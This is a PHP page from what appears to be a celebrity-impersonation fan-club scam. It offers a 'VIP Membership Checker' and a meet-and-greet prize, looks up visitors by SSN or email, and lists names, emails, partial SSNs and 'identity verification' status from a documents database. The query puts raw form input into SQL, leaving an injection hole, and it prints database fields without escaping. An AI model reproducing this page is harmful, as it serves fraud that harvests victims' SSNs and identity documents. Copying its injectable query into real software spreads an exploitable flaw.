<?php include_once('data/settings.php');

$title = "VIP Fan Membership Checker &raquo; ".$celebname;

include('header.php');

?>

<div id="main-wrapper" class="oxyy-login-register bg-dark">
  <div class="container">
    <div class="row g-0 min-vh-100 py-4 py-md-5"> 
      <!-- Welcome Text
      ========================= -->
      <div class="col-lg-7 shadow-lg">
        <div class="hero-wrap d-flex align-items-center rounded-3 rounded-end-0 h-100">
          <div class="hero-mask opacity-9 bg-primary"></div>
          <div class="hero-bg hero-bg-scroll" style="background-image:url('images/carrie.jpg');"></div>
          <div class="hero-content mx-auto w-100 h-100 d-flex flex-column">
            <div class="row g-0">
              <div class="col-11 col-lg-10 mx-auto">
                <div class="logo mt-5 mb-5 mb-lg-0"> <a href="./" title="<?= $celebname;?> Logo"><img src="images/vip-ca.png" alt="<?= $celebname;?>" style="max-width: 80%" class="mt-5 img-fluid"></a> </div>
              </div>
            </div>
            <div class="row g-0 my-auto">
              <div class="col-11 col-lg-10 mx-auto">
                <h1 class="text-11 text-white mb-3">We care about our fans safety & security.</h1>
                <p class="text-5 text-white lh-base mb-4">Get access to your VIP Offers, Benefits and Fans Recommendations.</p></div>
            </div>
          </div>
        </div>
      </div>
      <!-- Welcome Text End --> 
      
      <!-- OTP Form
      ========================= -->
      <div class="col-lg-5 shadow-lg d-flex align-items-center rounded-3 rounded-start-0 bg-dark">
        <div class="container my-auto py-5">
          <div class="row">
            <div class="col-11 col-lg-10 mx-auto">
                <p class="mb-2 text-center"><a href="./" class="btn btn-success btn-sm">To Verify, Click Here</a></p>
              <h3 class="text-white text-center mb-4">VIP Membership Checker</h3>
              <!--<p class="text-center"><img class="img-fluid" src="images/vip.png" alt="verification"></p>-->
              <p class="text-white-50 text-center mb-4">Check your VIP Membership status with your identity to Enter for a chance to win a Meet & Greet with <?= $celebname;?>, and VIP Fan Club Party with <?= $celebname;?>.</p>
			 
			  
		 
              
              
                
              
              
              
 <?php 
		
if(isset($_POST['search'])){
		$searchKeyword = $query = $_POST ['details'];
        $query = "SELECT * FROM documents WHERE (ssn LIKE '%".$searchKeyword."%' OR email LIKE '%".$searchKeyword."%') ORDER by id DESC";
        $result = $mysqli->query($query);
	$count_rows = mysqli_num_rows($result);

	
     while($row = $result->fetch_array()){
			$email=$row['email'];
			$fullname=$row['fullname'];
			$ssn=$row['ssn'];
			$status=$row['status'];
			$phone=$row['phone'];
		$lastSSN = substr($ssn, -4);


			?>
		
		
		<div class="alert alert-success">
		    <b><?= number_format($count_rows);?></b> Data found.
		    <hr />
		<p>Fullname: <b><?= ucwords($fullname);?></b></p>
		<p>SSN: <b>******<?= $lastSSN;?></b></p>
		<p>Email: <b><?= $email;?></b></p>
		<p>Status: <b><?= ucwords($status);?></b></p>
		</div>
		
		
			
			<?php }?><?php
			if($count_rows==0){echo '<div class="alert alert-danger text-center"><h2><i class="fa fa-times"></i> No VIP Membership For Your Entry</h2></div>';}
			
			}?>
              
              
              
              
              
              
              
              
              
              
            <form class="form-dark" method="post" enctype="multipart/form-data">
                <div class="mb-3">
                  <label class="form-label text-light" for="emailAddress">SSN or Email Address</label>
                  <input type="text" autocomplete="off" name="details" class="form-control" id="emailAddress" required="" placeholder="Social Security Number or Email">
                </div>
                
                <div class="d-grid my-4">
					<button class="btn btn-primary" name="search" type="submit">Check My Membership</button>
				</div>
              </form>  
              
              
              
              
              
              
              <div class="d-flex align-items-center my-3">
                <hr class="flex-grow-1 border-secondary">
                <span class="mx-2 text-2 text-white-50">Needs Help?</span>
                <hr class="flex-grow-1 border-secondary">
              </div>
              <p class="text-2 text-center text-light mb-0">Send us a mail! <a href="mailto:<?= $contactmail;?>"><?= $contactmail;?></a></p>
			  <hr />
			  <h4 class="text-center text-light mb-3">IMPORTANT NOTICES</h4>
			  
			  <p class="text-2 text-center text-light mb-4"><u>IT'S BEEN TWO BUSINESS DAYS AND I HAVE NOT RECEIVED A REPLY TO MY IDENTITY VERIFICATION FOR THE VIP MEMBERSHIP</u><p>
			  
			  <p class="text-2 text-center text-light mb-4">We try our best to reply to all fan verifications within 2 business days. If you have not received a reply to your verification, please make sure to check your spam folder as your mail client might have categorized our response as spam.</p>
			  
			  <p class="text-2 text-center text-light mb-0">Please also add the following e-mail address to your safe list to ensure receipt of our responses: support@<?= $sitedomain;?></p>
            </div>
          </div>
        </div>
      </div>
      <!-- OTP Form End --> 
	  <p class="text-2 text-center mb-4 mt-5"><?= $sitename.', &copy; '.date('Y');?></p>
    </div>
  </div>
</div>

<!-- Styles Switcher 
<div id="styles-switcher" class="left">
  <h5>Color Switcher</h5>
  <hr>
  <ul class="mb-0">
    <li class="blue" data-bs-toggle="tooltip" title="Blue" data-path="#"></li>
    <li class="indigo" data-bs-toggle="tooltip" title="Indigo" data-path="css/color-indigo.css"></li>
    <li class="purple" data-bs-toggle="tooltip" title="Purple" data-path="css/color-purple.css"></li>
    <li class="pink" data-bs-toggle="tooltip" title="Pink" data-path="css/color-pink.css"></li>
    <li class="red" data-bs-toggle="tooltip" title="Red" data-path="css/color-red.css"></li>
    <li class="orange" data-bs-toggle="tooltip" title="Orange" data-path="css/color-orange.css"></li>
    <li class="yellow" data-bs-toggle="tooltip" title="Yellow" data-path="css/color-yellow.css"></li>
    <li class="teal" data-bs-toggle="tooltip" title="Teal" data-path="css/color-teal.css"></li>
    <li class="green" data-bs-toggle="tooltip" title="Green" data-path="css/color-green.css"></li>
    <li class="cyan" data-bs-toggle="tooltip" title="Cyan" data-path="css/color-cyan.css"></li>
    <li class="brown" data-bs-toggle="tooltip" title="Brown" data-path="css/color-brown.css"></li>
  </ul>
  <button class="btn switcher-toggle"><i class="fas fa-cog"></i></button>
</div>
 --> 

<!-- Script --> 
<script src="vendor/jquery/jquery.min.js"></script> 
<script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> 
<!-- Style Switcher --> 
<script src="js/switcher.min.js"></script> 
<script src="js/theme.js"></script>
<?php include('livechat.php');?>
</body>
</html>